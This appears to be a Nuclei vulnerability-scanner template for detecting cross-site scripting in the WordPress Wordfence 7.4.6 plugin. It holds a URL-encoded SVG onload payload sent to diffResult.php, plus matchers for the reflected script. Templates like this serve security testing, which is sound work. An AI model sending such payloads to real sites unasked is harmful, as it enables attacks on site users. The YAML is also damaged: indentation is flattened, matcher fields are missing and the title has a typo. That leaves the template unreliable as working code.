id: wordpress-wordfence-xss
info:
name: WordPress Wordfence 7.4.6 - Cross0Site Scripting
author: madrobot
severity: medium
description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 2
tags: wordpress,wp-plugin,xss,wordfence
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/wordfence/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Wordfence Security - '
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E"
matchers-condition: and
- "'>\"<svg/onload=confirm('test')>"
part: body
- "text/html"
part: header
- type: status
status:
- 200
# digest: 490a0046304402207bf14ab61fae2dcac68ca67bf3a7a27f69adaf04bbaa9fd7cd94967c263a410c02200bab5aab8d664f2eecc7beb91915a24335c67b9bf8f165cb1090341359c34e5a:922c64590222798bb761d5b6d8e72950